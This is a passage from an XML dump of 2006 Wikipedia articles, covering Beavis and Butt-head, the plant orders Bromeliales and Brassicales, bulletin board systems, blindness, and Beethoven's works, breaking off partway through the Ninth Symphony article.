The show became the focus of criticism from social conservatives, such as [[Michael Medved]], who depicted it as &quot;the epitome of mindless and amoral entertainment,&quot; while others, such as [[David Letterman]], and the conservative magazine ''[[National Review]]'', defended it as a cleverly subversive vehicle for social criticism and a particularly creative and intelligent comedy.

[[ESPN Classic]]'s series ''[[Cheap Seats]]'' updated the B&amp;B formula in [[2003]] with a [[sports]] theme, with two misfit characters wisecracking on [[campy]] old sports broadcasts from the vantage point of their battered sofa.

==See also==
* [[List of Beavis and Butt-head episodes]]
* [[List of characters in Beavis and Butt-head]]
* [[List of musicians appearing on Beavis and Butt-head]]
* ''[[King of the Hill (TV series)|King of the Hill]]'', the next animated television series created by Mike Judge.
* ''[[Office Space]]'', a cult film by Judge.

==External links==
*{{imdb title|id=0105950|title=Beavis and Butt-Head}}
*{{imdb title|id=0115641|title=Beavis and Butt-Head Do America}}
* [http://www.episodeworld.com/show/Beavis_and_Butt-head Beavis &amp; Butt-head] at [[EPisodeWorld.com]]
*''[http://www.bcdb.com/cartoons/Other_Studios/M/MTV_Productions/Beavis_and_Butt-head/index.html Beavis and Butt-head]'' at the [[Big Cartoon DataBase]]
*[http://avclub.com/content/node/23060 Onion A.V. Club] interview with Mike Judge in which the ''History of Beavis and Butt-Head'' DVD recall is discussed
*[http://www.amazon.com/exec/obidos/ASIN/B000B5XOWU/superstorelin-20?creative=327641&amp;camp=14573&amp;link_code=as1/ Beavis &amp; Butt-Head, Vol. 1]
*[http://www.the-underdogs.org/game.php?id=1404 Beavis and Butt-head in Virtual Stupidity] at home of the underdogs
*[http://hotextra.com/ Beavis and Butt-head Central]
*[http://www.val-axs.net/ Beavis and Butt-head Do Web]

==Videos==
*[http://www.youtube.com/w/Beavis-and-Butthead---Pregnant-Pause?v=Xc1qaHAwMC4&amp; &quot;Pregnant Pause&quot;], Beavis belives he's pregnant (episode #118, June 8, 1995)
*[http://www.youtube.com/w/Beavis-and-Butthead---Rabies-Scare?v=APmKCpfxuQI&amp; &quot;Rabies Scare&quot;], Beavis gets attacked by a dog (episode #61, March 18, 1994)
*[http://www.youtube.com/w/Beavis-and-Butt-head---Oil-Change?v=8MaH6Y--Uho&amp; &quot;Oil Change&quot;], Beavis and Butt-head change the deep fryer oil at Burger World with crude oil (episode #123, July 12, 1995)
*[http://www.youtube.com/w/Beavis-%26-Butthead---1-900-BEAVIS?v=lUZhwinbYBk&amp; &quot;1-900-BEAVIS&quot;], Beavis and Butt-head get their own 900 number after they call a phone sex number (episode #66, April 4, 1994)
*[http://www.youtube.com/w/Beavis-and-Butthead---Spare-Me?v=l9tFX0DDCJw&amp; &quot;Spare Me&quot;], Beavis and Butt-head change a flat tire (episode #132, September 12, 1995)

[[Category:Television spin-offs]]
[[Category:Fictional pairs]]
[[Category:MTV television series]]
[[Category:Comedy television series]]
[[Category:Animated television series]]
[[Category:1990s TV shows in the United States]]

[[Category:Duos]]

[[de:Beavis and Butt-Head]]
[[es:Beavis and Butthead]]
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[[zh:??????]]</text>
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  </page>
  <page>
    <title>Bromeliales</title>
    <id>3428</id>
    <revision>
      <id>41149628</id>
      <timestamp>2006-02-25T10:10:58Z</timestamp>
      <contributor>
        <username>Vuong Ngan Ha</username>
        <id>225920</id>
      </contributor>
      <text xml:space="preserve">The '''''Bromeliales''''' is the [[botanical name]] of an [[Order (biology)|order]] of [[flowering plants]]. In [[list of systems of plant taxonomy|traditional systems]], such as the [[Engler system]] and the [[Cronquist system]] it consists only of the family ''[[Bromeliaceae]]'', the bromeliad or [[pineapple]] family.  The [[Thorne system]] includes ''[[Rapateaceae]]'', accepting it as an order of two families.

The order is not recognized in the [[APG II system]], which assigns both these families to order ''[[Poales]]''.

:''Reference'' :
:: {{cite journal|author = Gilmartin, A. J., and G. K. Brown| year = 1987| title = Bromeliales, related monocots, and resolution of relationships among Bromeliaceae subfamilies| journal = Syst. Bot.|volume = 12|pages = 493-500}}

[[Category: plant taxonomy]]

[[es:Bromeliales]]
[[fr:Bromeliales]]
[[pl:Bromeliowce]]
[[vi:Bộ Dứa]]</text>
    </revision>
  </page>
  <page>
    <title>Brassicales</title>
    <id>3429</id>
    <revision>
      <id>37288407</id>
      <timestamp>2006-01-30T01:01:35Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Brassicales
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = '''Brassicales'''
| ordo_authority = [[Edward Ffrench Bromhead|Bromhead]]
| subdivision_ranks = Families
| subdivision = 
See text.
}}

The '''Brassicales''' are an [[order (biology)|order]] of [[flowering plant]]s, belonging to the [[rosid]] group of [[dicotyledon]]s.  The following families are included here:

* Family [[Brassicaceae]] ([[Mustard plant|mustard]] family)
* Family [[Tovariaceae]]
* Family [[Gyrostemonaceae]]
* Family [[Resedaceae]] ([[mignonette]] family)
* Family [[Pentadiplandraceae]]
* Family [[Bataceae]]
* Family [[Salvadoraceae]]
* Family [[Koeberliniaceae]]
* Family [[Limnanthaceae]]
* Family [[Setchellanthaceae]]
* Family [[Caricaceae]] ([[papaya]] family)
* Family [[Moringa|Moringaceae]]
* Family [[Akaniaceae]]
* Family [[Tropaeolaceae]]

Under the older [[Cronquist system]], the Brassicales were called the '''Capparales''', and included among the Dileniidae.  The only families included were the Brassicaceae and [[Capparaceae]], no longer treated separately, and the Tovariaceae, Resedaceae, and Moringaceae.  Other forms now included here were placed in various different orders.

[[Category:Brassicales]]

[[da:Korsblomst-ordenen]]
[[de:Kreuzblütlerartige]]
[[es:Brassicales]]
[[fr:Brassicales]]
[[la:Brassicales]]
[[nl:Brassicales]]
[[no:Brassicales]]
[[pt:Brassicales]]
[[fi:Brassicales]]
[[sv:Brassicales]]
[[zh:白花菜目]]</text>
    </revision>
  </page>
  <page>
    <title>Bulletin board system</title>
    <id>3430</id>
    <revision>
      <id>41692409</id>
      <timestamp>2006-03-01T02:27:37Z</timestamp>
      <contributor>
        <username>Ozzmosis</username>
        <id>433159</id>
      </contributor>
      <comment>rm far too much info</comment>
      <text xml:space="preserve">A '''bulletin board system''' or '''BBS''' is a [[computer]] system running [[Computer software|software]] that allows users to dial into the system over a [[public switched telephone network|phone line]] and, using a [[terminal program]], perform functions such as downloading software and data, uploading data, playing games, reading news, and exchanging [[message]]s with other [[user]]s. During their heyday (from the early [[1980s]] to the mid [[1990s]]), many BBSes were run as a [[hobby]] free of charge by the &quot;[[sysop|SysOp]]&quot; (system operator), while other BBSes charged their users a subscription fee for access.

In current usage (primarily in [[Japan]] and [[China]]) the term BBS may be used to refer to any online forum or message board. See [[Internet forum]].

Bulletin board systems were in many ways a precursor to the modern form of the [[World Wide Web]] and other aspects of the [[Internet]]. BBSes were a highly [[social]] [[phenomenon]] and were used for meeting [[person|people]] and having discussions in [[message board]]s as well as for publishing articles, downloading software, playing games and many more things using a single application. The BBS was also a local phenomenon, as one had to dial into a BBS with a phone line and would have to pay long distance charges for a BBS out of the local area. Thus, many [[user]]s of a BBS lived in the same area and it was common for activities such as ''BBS Meets'' or ''Get Togethers'' (GTs), where everyone from the same board would gather and meet face to face.

Also during this era, several realtime text chat systems existed. These were the precursors to the instant message systems of the 2000's. One noteable chat system from the 1980's was [[Freelancin' Roundtable]].

==History== 
The first BBS, [[CBBS]], went online on [[February 16]], [[1978]] in [[Chicago, Illinois]]. The first BBS in the UK was in Hull, East Yorkshire, it opened in 1980 and was called Forum 80. 

With the original 110 and 300 [[baud]] modems of the early [[1980s]], BBSes were painfully slow, but speed improved with the introduction of 1200 [[Bits per second|bit/s]] modems in the early 1980s, and this led to a substantial increase in [[popularity]]. The lack of [[autodial]] and [[autoanswer]] capabilities in many 110-300 bit/s modems was also an obstacle to their use in unattended BBS installations.

Most of the [[information]] was presented using ordinary text or [[ANSI art]], though some offered graphics, particularly after the rise in popularity of the [[GIF]] image format. Such use of [[graphics]] taxed available [[bandwidth]], which in turn propelled demand for faster modems. Towards the early [[1990s]], the BBS industry became so popular that it spawned two monthly magazines, ''[[Boardwatch]]'' and ''[[BBS Magazine]]'', which devoted extensive coverage of the software and technology innovations and people behind them, and listings to u.s. and worldwide BBSs. In addition, a major monthly magazine, &quot;[[Computer Shopper]]&quot;, carried a list of BBSes along with a brief abstract of each of their offerings. 

Before commercial Internet access became common, [[computer network|networks]] of BBSes provided regional and international e-mail and message bases.  Some even provided [[gateway]]s by which [[member]]s could send/receive e-mail to/from the [[Internet]]. Elaborate schemes allowed users to download binary files, search [[Gopher protocol|gopher]]space, and interact with distant [[Computer program|program]]s, all using plaintext e-mail. Most BBS networks were not linked in realtime. Instead, each would dial up the next in line, and/or a regional hub, at preset intervals to exchange files and messages. The largest BBS network was [[FidoNet]], which is still used, to some extent, especially outside of the United States. Many other BBS networks followed the example of Fidonet, using the same standards and the same software. They were called '''FTN''' (Fidonet Technology Networks). They were usually smaller and targeted at selected audiences.

With the rise of the [[world wide web]] function of the [[Internet]] in the middle/late [[1990s]] BBSes rapidly declined in popularity in the west. In China and Taiwan, however, BBSes have gained a considerable increase in popularity since 2000. Several largest BBS sites once had tens of thousands of online users at any time, such as [[SMTH]], [[YTHT]], etc. However, those BBSes located in China have been limited on access or closed since 2004. 

Several BBS systems connected directly to the Internet, removing the necessity of direct dial-up and consequently attracting a more geographically diverse user base. Most of these systems ran on derivations of a free code package called [[Citadel (software)|Citadel]]. A few are still in existence ([[as of 2004]], including the likely largest [[ISCABBS]]).

Some general purpose bulletin board systems had special levels of access that were given to those who paid extra money or knew the sysop personally. BBSs that charged money usually had something special to offer their users such as [[door games]], a large user base, or [[pornography]]. While many pay BBSes had pornography, some of the largest BBSs charged users merely for discussion boards. Pay BBSes such as The [[WELL]] and Echo NYC (both of which exist to this day), and [[MindVox]] (which folded in 1996) were admired for their tightly-knit communities and quality discussion forums.  However some &quot;free&quot; BBSes maintained close knit communities and some even had annual or bi-annual events where users would travel great distances to see meet face-to-face their on-line friends.  Even today [[ISCABBS]] still has bi-annual [[ISCANIC]] and annual [[CampNic]] events.

Some BBSs, called ''elite boards,'' were exclusively used for distributing pirated software. These BBSes often had multiple modems and phone lines, allowing several users to upload and download files at once. Most elite BBSes used some form of new user verification, where new users would have to apply for membership and attempt to prove that they weren't a law enforcement officer or a ''[[lamer]].'' The largest elite boards accepted users by invitation only.

Today, BBSing survives as a niche hobby for those who enjoy running BBSes and those users who remember BBSing as an enjoyable pastime. Many BBSes are now accessible over [[telnet]] through software such as [[Synchronet]], and typically offer free [[email]] accounts, web interfaces, ftp file downloads, irc chat and all of the protocols commonly used on the Internet. Revival of the hobby that most presume to be from a &quot;dead era&quot; long since left buried under the sands of time -- has been gaining massive awareness by nostalgic people who were in what is referred as &quot;the hey-days&quot;. Others, including the newer generations of the 21st Century -- are finding out about not only the &quot;old school&quot; BBS Technology -- but its modern day inheritor technology as well. Some BBSes are Web-enabled and have a Web-based user interface, allowing people who have never used a BBS before to use one easily via their favorite web browser. For those more nostalgic for the true BBS experience, one can use [[DOSBox]] and its modem emulation via TCP/IP to dial up Telnet BBS's with 1980's and 1990's era modem software, like [[Telix]], [[Qmodem]] and [[Procomm Plus]].

The website ''[[textfiles.com]]'' serves as a collection point of historical data involving the history of the BBS.  The owner of this site produced [[BBS: The Documentary]], a program on [[DVD]] that features interviews with well-known people (mostly from the [[United States]]) from the &quot;hey-day BBS&quot; era.

==Shareware==
Much of the &quot;[[Shareware]]&quot; movement was started via sharing software through BBSes. A notable example was [[Phil Katz]]'s PKARC (and later [[PKZIP]], using the same &quot;.zip&quot; [[algorithm]] that [[WinZip]] and other popular archivers now use); also ''[[Wolfenstein 3D]]'' and ''[[Doom]]'' from [[id Software]] and many [[Apogee Software|Apogee]] games.

''See also:'' [[ANSI escape code]], [[BBS door]], Fido and [[FidoNet]], [[Internet forum]], [[ISCABBS]], and [[Ward Christensen]]

==Features==
A typical BBS has:
* A [[computer]]
* One or more [[modem]]s
* One or more phone lines
* A [[List of BBS software|BBS software package]]
* A [[sysop]] - system operator

* Some BBSes allow [[telnet]] access over the Internet using a telnet server and a virtual [[FOSSIL]] driver:
**COM/IP (Windows)
**GameSrv/NetFOSS (Windows) [popular]
**NetModem (Windows)
**SIO/VMODEM (OS/2)
**Synchronet bbs [Windows, Linux, OS/2][http://www.synchro.net Synchronet Homepage] [popular]

The BBS software usually provides:
* [[Login screen]]
* [[Welcome screen]]
* One or more [[message base]]s
* File areas 
* [[Online game]]s (usually single [[player]] or only a single active player at a given time)
* A [[BBS door|doorway]] to third-party online games
* Usage auditing capabilities
* Multi-user chat (more common in later multi-line or telnettable BBSes)
* Internet email (more common in later Internet-connected BBSes)

A BBS will often have mail (or ''mailer'') software to interface with a network, such as [[FidoNet]]. Commonly used mailers include (or have included):
*[http://btxe.sf.net BinkleyTerm] (''widely ported to different [[Operating System]]s'')
*Seadog (''very old!'')
*D'Bridge
*FrontDoor
*Intermail
*McMail
*Sinister Offline Mail Reader
*Xenia
*[http://home.foni.net/~marcusroeckrath/dfue/portal.html Portal of Power]
*Qmail
*Rnet
*MarkMail
*SLMR
*CamMail
*T-Mail

==See also==
===BBSes===
* [[Arbornet|Arbornet/M-Net]], oldest Unix-based BBS
* [[Demon Roach Underground]], a popular hacker BBS and former home of [[Cult of the Dead Cow|CULT OF THE DEAD COW]]
* [[The Gaming Center]], a large [[Florida]]-based free BBS
* [[GROGGS]], a popular BBS in the [[University of Cambridge]]
* [[ISCABBS]], the largest worldwide BBS located at the [[University of Iowa]].
* [[KaraNet]], the biggest BBS in [[Austria]]
* [[Monochrome BBS|Monochrome]], a popular BBS, originally based at [[City University, London]]
* [[ProLink Information Network]], started April 1991 and founding member of ChatLink August 1991
* [[Rusty n Edie's BBS]], raided by the FBI in 1993 and sued by [[Playboy]] in 1997
* [[UNaXcess]], a popular BBS in the [[University of Manchester]]

===Related terms===
* [[Internet forum]]
* [[Usenet]]
* [[Online chat]]
* [[Chat]]
* [[Chat room]]
* [[Internet Relay Chat|IRC]]

===BBS programs===
* See: [[List of BBS software]]

===Other===
* See: [[BBS: The Documentary]]

{{Noteworthy bulletin board system software}}

==External links==
*[http://www.bbsmates.com ''BBSMates'']
*[http://archives.thebbs.org ''The BBS Organization File Archives'']
*[http://www.archive.org/details/bbs_documentary BBS Documentary Video Collection (Internet Archive)]
*[http://www.dmine.com/bbscorner/ ''BBS Corner'']
*[http://www.dmine.com/telnet/ ''The Telnet BBS Guide'']
*[http://www.fidonet.org ''fidonet.org'']
*[http://www.scoutnet.org ''Scoutnet, an example of FTN'']
*[http://www.doorgames.org ''Doorgames.org'']
*[http://bbs.wikicities.com ''BBS Wiki at WikiCities'']
*[http://swagazine.com/bbs/ ''The Santa Barbara BBS Nostalgia Page'']
*[http://bbslist.textfiles.com/ ''The TEXTFILES.COM Historical BBS List'']
*[http://www.lizardmaster.com/tlm/bbshelp.cfm ''How to call a BBS present day'']
*[http://groups.yahoo.com/group/80sBBS/ 80s BBS Yahoo Group]
*[http://www.brad-carter.com/618_bbs.php BBSing in the 618 Area Code]

[[Category:Bulletin board systems| ]]
[[Category:Internet culture]]

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[[ja:電子掲示板]]
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  </page>
  <page>
    <title>Blindness</title>
    <id>3433</id>
    <revision>
      <id>41985704</id>
      <timestamp>2006-03-03T01:26:19Z</timestamp>
      <contributor>
        <username>Zzuuzz</username>
        <id>365454</id>
      </contributor>
      <minor />
      <comment>/* Reading and magnification */ avoid redirect</comment>
      <text xml:space="preserve">{{otheruses4| the visual condition| the novel| Blindness (novel)}}

{{DiseaseDisorder infobox |
  Name        = Blindness |
  ICD10       = H54.0, H54.1, H54.4 |
  ICD9        = {{ICD9|369}} |
}}
'''Blindness''' can be defined [[physiological]]ly as the condition of lacking [[visual perception]]. The definition as it applies to people thus legally classified is, however, more complex.
[[Image:Millais-Blind Girl.jpg|thumb|300px|The Blind Girl (1856), a painting by [[John Everett Millais]]]]

The complete lack of form and light perception is clinically recorded as &quot;NLP&quot; (an abbreviation for [[no light perception]]), but &quot;blindness&quot; also applies to partial [[visual impairment]]. In [[North America]] and most of [[Europe]], legal blindness is defined as [[visual acuity]] (vision) of 20/200 (6/60) or less in the better eye with best correction possible. This means that a legally blind individual would have to stand 20 feet from an object to see it with the same degree of clarity as a normally sighted person could from 200 feet.  In many areas, people with average acuity who nonetheless have a [[visual field]] of less than 20 degrees (the norm being 180 degrees) are also classified as being legally blind. 
Approximately ten percent of those deemed legally blind, by any measure, are fully sightless. The rest have some vision, from light perception alone to relatively good acuity. Those who are not legally blind, but nonetheless have serious visual impairments, possess [[low vision]].

By the 10th Revision of the [[World Health Organization|WHO]] International Statistical Classification of Diseases, Injuries and Causes of Death, ''low vision'' is defined as visual acuity of less than 6/18, but equal to or better than 3/60, or corresponding visual field loss to less than 20 degrees, in the better eye with best possible correction. ''Blindness'' is defined as visual acuity of less than 3/60, or corresponding visual field loss to less than 10 degrees, in the better eye with best possible correction. Visual impairment includes low vision as well as blindness.

==Causes of blindness==
Serious visual impairment has a variety of causes:

===Diseases===
Most visual impairment is caused by [[disease]] and [[malnutrition]]. According to WHO estimates in 2002, the most common causes of blindness around the world are:
*[[cataracts]] (47.8%), 
*[[glaucoma]] (12.3%), 
*age-related [[macular degeneration]] (AMD) (8.7%),
*[[trachoma]] (3.6%), 
*[[cornea]]l opacity (5.1%), and
*[[diabetic retinopathy]] (4.8%), among other causes.

People in developing countries are significantly more likely to experience visual impairment as a consequence of treatable or preventable conditions than are their counterparts in the developed world. While vision impairment is most common in people over age 60 across all regions, children in poorer communities are more likely to be affected by blinding diseases than are their more affluent peers.

The link between [[poverty]] and treatable visual impairment is most obvious when conducting regional comparisons of cause. Most adult visual impairment in North America and Western Europe is related to age-related macular degeneration and diabetic retinopathy. While both of these conditions are subject to treatment, neither can be cured.

In developing countries, wherein people have shorter life expectancies, cataracts and water-borne parasites&amp;mdash;both of which can be treated effectively&amp;mdash;are most often the culprits. Of the estimated 40 million blind people located around the world, 70&amp;ndash;80% can have some or all of their sight restored through treatment.

===Abnormalities and injuries===
Eye injuries, most often occurring in people under 30, are the leading cause of monocular blindness (vision loss in one eye) throughout the [[United States]]. Both of these conditions, injuries and cataracts, affect the eye itself. Abnormalities such as [[optic nerve hypoplasia]] affect the nerve bundle that sends signals from the eye to the back of the brain, which can lead to decreased visual acuity.

People with injuries to the [[occipital lobe]] of the [[brain]] can, despite having  perfectly normal eyes and [[optic nerve]]s, still be legally or totally blind.

===Genetic defects===
People with [[albinism]] often suffer from visual impairment to the extent that many are legally blind, though few of them actually cannot see.

==Adaptive techniques==
Visually impaired and blind people have devised a number of techniques that allow them to complete daily activities using their remaining senses. These might include the following:

*Adaptations of [[banknote]]s so that the value can be determined by touch.  For example:
** In some currencies, such as the [[euro]] and [[pound sterling]], the physical size of a note increases with value.
** A lot of [[banknotes]] from around the world have a tactile feature to indicate denomination in the upper right corner.  This [[Canadian currency tactile feature|tactile feature]] is a series of raised dots, but it is not standard [[Braille]] [http://www.bankofcanada.ca/en/banknotes/accessibility.html].
** It is also possible to fold notes in different ways to assist recognition.
*Labeling and tagging clothing and other personal items
*Placing different types of food at different positions on a dinner plate
*Marking oven, dishwasher, and dryer dials for ease of use

Most people, once they have been visually impaired for long enough, devise their own adaptive strategies in all areas of personal and professional management.

==Tools==
[[Image:Watch for the blind2.jpg|thumb|300px|Watch for the blind]]
Designers, both visually impaired and sighted, have developed a number of tools for use by blind people.

===Mobility===
People with serious visual impairments can travel independently using a [[white cane]], the [[international symbols|international symbol]] of blindness.

A long cane is used to extend the user's range of touch sensation, swung in a low sweeping motion across the intended path of travel to detect obstacles. However, some visually impaired persons do not carry these kinds of canes, opting instead for the shorter, lighter identification (ID) cane. Still others require a support cane.

Each of these is painted white for maximum visibility, and to denote visual impairment on the part of the user. In addition to making rules about who can and cannot use a cane, some governments mandate the [[Traffic#Right of Way (&quot;who goes first&quot;)|right-of-way]] be given to users of white canes or [[guide dogs]].

A small number of people, about one percent, employ [[guide dog]]s. These companions are trained to lead blind individuals around obstacles on the ground and overhead. Though highly intelligent, guide dogs neither interpret street signs nor determine when the team ought to cross a street. Visually impaired people who employ these animals must already be competent travelers.

===Reading and magnification===
Most blind and visually impaired people read print, either of a regular size or enlarged through the use of magnification devices. A variety of [[magnifying glass]]es, some of which are handheld while others rest on desktops, can make reading easier for those with decreased visual acuity.

The rest read [[Braille]] and [[Moon type]] or rely on talking books and readers.  They use computers with special hardware such as scanners and [[refreshable Braille display]]s as well as software written specifically for the blind, like optical character recognition applications and screen reading software.

Some people access these materials through agencies for the blind, such as the [[National Library Service for the Blind and Physically Handicapped]] in the United States, the [[National Library for the Blind]] or the [[Royal National Institute for the Blind|RNIB]] in the United Kingdom.

[[Closed-circuit television]]s, equipment that enlarge and contrast textual items, are a more [[high-tech]] alternative to traditional magnification devices. So too are modern [[web browser]]s, which can increase the size of text on some web pages through browser controls or through user-controlled [[style sheet]]s.

===Computers===
Access technology such as [[Freedom Scientific]]'s [[JAWS for Windows]] [[screen reading software]] enable the blind to use mainstream computer applications.  Most legally blind people (70% of them across all ages, according to the [[Lighthouse for the Blind]]) do not use computers. Only a small fraction of this population, when compared to the sighted community, have [[Internet]] access.  This bleak outlook is changing, however, as availability of assistive technology increases, accompanied by concerted efforts to insure the accessibility of information technology to all potential users, including the blind.   

The movement towards greater [[web accessibility]] is opening a far wider number of websites to adaptive technology, making the web a more inviting place for visually impaired surfers.

Experimental approaches such as the [[seeingwithsound|seeing with sound]] project are beginning to provide access to arbitrary live views from a [[camera]].

===Other aids===
People may use talking [[thermometer]]s, enlarged or marked oven dials, talking watches, talking clocks, talking [[weighing scale|scales]], talking [[calculator]]s, talking [[compass]]es and other talking equipment.

==Social attitudes towards blindness==
Historically, blind and visually impaired people have either been treated as if their lack of sight were an outward manifestation of some internal lack of reason, or as if they possessed extrasensory abilities. Stories such as ''[[The Cricket on the Hearth]]'' by [[Charles Dickens]] provided yet another view of blindness, wherein those affected by it were ignorant of their surroundings and easily deceived.

The authors of modern educational materials (see: [[blindness and education]] for further reading on that subject), as well as those treating [[blindness in literature]], have worked to paint a truer picture of blind people as three-dimensional individuals with a range of abilities, talents, and even character flaws. Certain individuals are gifted, and others licentious, but nothing definitive can be said of the blind as a class but that they cannot see well.

==See also==
*[[Accessibility]]
*[[Amaurosis]]
*[[Blind musicians]]
*[[Braille]]
*[[Color blindness]]
*[[Cortical blindness]]
*[[International Agency for the Prevention of Blindness]] - Global Blindness Prevention
*[[List of blind people]]
*[[List of eye diseases]]
*[[Low vision]]
*[[Night blindness]]
*[[Scotoma]]
*[[Snow blindness]]
*[[Visual loss]]

==External links==
*[http://www.accesswatch.info Access Watch: Blind users review accessibility of mainstream software]
*[http://www.question-mark.ca ?.Ca: A Comprehensive Directory of Blindness Information] 
*[http://www.acb.org American Council of the Blind]
*[http://www.afb.org American Foundation for the Blind]
*[http://www.blindaccessjournal.com Blind Access Journal: Visual impairment in the real world]
*[http://www.v2020.org VISION 2020: The Right to Sight]
*[http://www.iapb.org International Agency for the Prevention of Blindness (IAPB)]
*[http://www.braille.org International Braille Research Center]
*[http://www.growingstrong.org/bvi/resource.html Literature Bibliography and Resources List]
*[http://www.nbp.org National Braille Press]
*[http://www.nfb.org National Federation of the Blind: Civil rights and consumer advocacy]
*[http://www.nlb-online.org/ National Library for the Blind]
*[http://www.loc.gov/nls National Library Service for the Blind and Physically Handicapped]
*[http://www.rfbd.org Recording for the Blind and Dyslexic]
*[http://www.rnib.org.uk/xpedio/groups/public/documents/code/InternetHome.hcsp Royal National Institute for the Blind]
*[http://www.ssc.mhie.ac.uk/ Scottish Sensory Centre]
*[http://www.who.int/mediacentre/factsheets/fs282/en/ WHO Fact Sheet on Visual Impairment]

[[Category:Blindness|*]]

[[cs:Slepota]]
[[cy:Dallineb]]
[[de:Blindheit]]
[[es:Ceguera]]
[[eo:Blindeco]]
[[fr:Cécité]]
[[it:Cecità]]
[[he:עיוורון]]
[[nl:Blindheid]]
[[ja:失明]]
[[pl:Ślepota]]
[[pt:Cegueira]]
[[simple:Blindness]]
[[fi:Sokeus]]
[[zh:失明]]</text>
    </revision>
  </page>
  <page>
    <title>Beethoven (disambiguation)</title>
    <id>3434</id>
    <revision>
      <id>33685659</id>
      <timestamp>2006-01-03T04:04:57Z</timestamp>
      <contributor>
        <username>Moverton</username>
        <id>82329</id>
      </contributor>
      <text xml:space="preserve">'''Beethoven''' is the surname for:

* [[Ludwig van Beethoven]], an 18th century German music composer
* [[Johann van Beethoven]], father of Ludwig and husband to Magdalena Keverich van Beethoven

Others named for the famous composer:
* [[Beethoven Peninsula]], an ice-covered peninsula forming the southwest part of Alexander Island, close to the Antarctic Peninsula
* [[Beethoven (film)|''Beethoven'' (film)]], a 1992 film about a dog, or one of its sequels

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>String Quartet No. 16 (Beethoven)</title>
    <id>3435</id>
    <revision>
      <id>38833317</id>
      <timestamp>2006-02-08T23:05:46Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">Beethoven's '''String Quartet No. 16''' in F major ([[Opus number|Opus]] 135) was written in [[1826]] and was the last substantial work he finished. Only the last movement of the [[String Quartet No. 13 (Beethoven)|Quartet Op. 130]], written as a replacement for the [[Große Fuge]], was written later. It was premiered by the Schuppanzigh Quartet in March [[1828]].  

The work is on a smaller scale than his other late quartets.  Under the introductory slow chords in the last movement Beethoven wrote in the manuscript &quot;Muss es sein?&quot; (Must it be?) to which he responds, with the faster main theme theme of the movement, &quot;Es muss sein!&quot; (It must be!) 

It is in four [[movement (music)|movements]]:
# Allegretto 
# Vivace 
# Lento assai, cantante e tranquillo 
# “Der schwer gefaßte Entschluß:” Grave — Allegro — Grave ma non troppo tratto — Allegro

==See also==
*[[Ludwig van Beethoven|Beethoven]]
*[[List of works by Beethoven]]

==External links==
*[http://www.umass.edu/fac/calendar/centerseries/programs/sec-11-8-2003.html Program notes to a performance of the quartet]

{{BeethovenStringQuartets}}

[[Category:String quartets by Ludwig van Beethoven|String quartet 16]]

[[fr:Quatuor à cordes n°16 (Beethoven)]]
[[ja:弦楽四重奏曲第16番 (ベートーヴェン)]]</text>
    </revision>
  </page>
  <page>
    <title>Symphony No. 9 (Beethoven)</title>
    <id>3436</id>
    <revision>
      <id>41863256</id>
      <timestamp>2006-03-02T05:31:59Z</timestamp>
      <contributor>
        <username>Akrubin</username>
        <id>644026</id>
      </contributor>
      <minor />
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">The '''Symphony No. 9 in D minor, Op. 125''' is the last complete symphony composed by [[Ludwig van Beethoven]]. Completed in 1824, it includes part of the ode ''An die Freude'' (&quot;[[Ode To Joy]]&quot;) by [[Friedrich Schiller]], as text sung by soloists and a chorus in the last movement. It is the first example of a major composer using the human voice on the same level with instruments in a symphony.

The symphony is one of the best known of all works of [[European classical music]], and is considered one of [[Ludwig van Beethoven|Beethoven]]'s greatest masterpieces, composed whilst he was completely deaf. It plays a prominent cultural role in modern society. In particular, the music from the fourth movement (without words) is used as the official anthem of the [[European Union]] (see [[Ode to Joy]]).

==History==

===Writing of the symphony===
The Philharmonic Society of London (later the [[Royal Philharmonic Society]]) originally commissioned the symphony in [[1817]]. Beethoven supposedly started work on his last symphony in [[1822]] and finished it early in [[1824]]. This was about 10 years after his eighth symphony, however Beethoven was working on this work much earlier. Beethoven wanted to put the ''An die Freude'' to music as early as [[1793]]. He did that as a song, but unfortunately that song has been lost forever. The theme for the scherzo can be traced back to a fugue written in [[1815]]. 

The introduction for the vocal part of the symphony caused a lot of headaches for Beethoven. Beethoven's friend, Anton Schindler, later said: &quot;When he started working on the fourth movement the struggle began as never before. The aim was to find an appropriate way of introducing Schillers' ode. One day he [Beethoven] entered the room and shouted 'I got it, I got it!' Then he showed me a sketchbook with the words 'let us sing the ode of the immortal Schiller.'&quot; That introduction didn't make it however, and Beethoven would spend a lot of time rewriting the part until it had its current form.

===Premiere===

Beethoven was eager to get his work played in [[Vienna]] as fast as possible when he finished writing. He was equivocal, however, thinking also that the musical taste in Vienna was stricken by Italian composers such as Rossini. When his friends and financiers heard this they urged him to premiere the symphony in Vienna. 

The Ninth Symphony was premiered on Friday, [[May 7]], [[1824]] in the [[Kärntnertortheater]] in Vienna. The work was premiered along with the overture ''Die Weihe des Hauses'' and the first three parts of the ''Missa solemnis''. This was the composer's first on-stage appearance in twelve years; the hall was packed. The soprano and alto parts were interpreted by two famous young singers: Henriette Sonntag and Caroline Unger. 

Although the performance was officially directed by Ignaz Umlauf, the theater's Kapellmeister, Beethoven shared the stage with him. However two years earlier, Umlauf had watched as the composer's attempt to conduct a dress rehearsal of his opera Fidelio ended in disaster. So this time, he instructed the singers and musicians to ignore the totally deaf Beethoven. At the beginning of every part, Beethoven, who sat by the stage, gave the tempos. He was turning the pages of his score and was beating time for an orchestra he could not hear.  

There are a number of anecdotes about the premiere of the Ninth. Based on the testimony of the participants, there are suggestions that it was under-rehearsed (there were only two full rehearsals) and rather scrappy in execution. On the other hand, the premiere was a big success. In any case, Beethoven was not to blame, as violist Josef Bohm recalled, &quot;Beethoven directed the piece himself, that is: he stood before the lectern and gesticulated furiously. At times he raised, at other times he shrunk to the ground, he moved as if he wanted to play all the instruments himself and sing for the whole chorus. All the musicians minded his rhythm alone while playing&quot;.
 
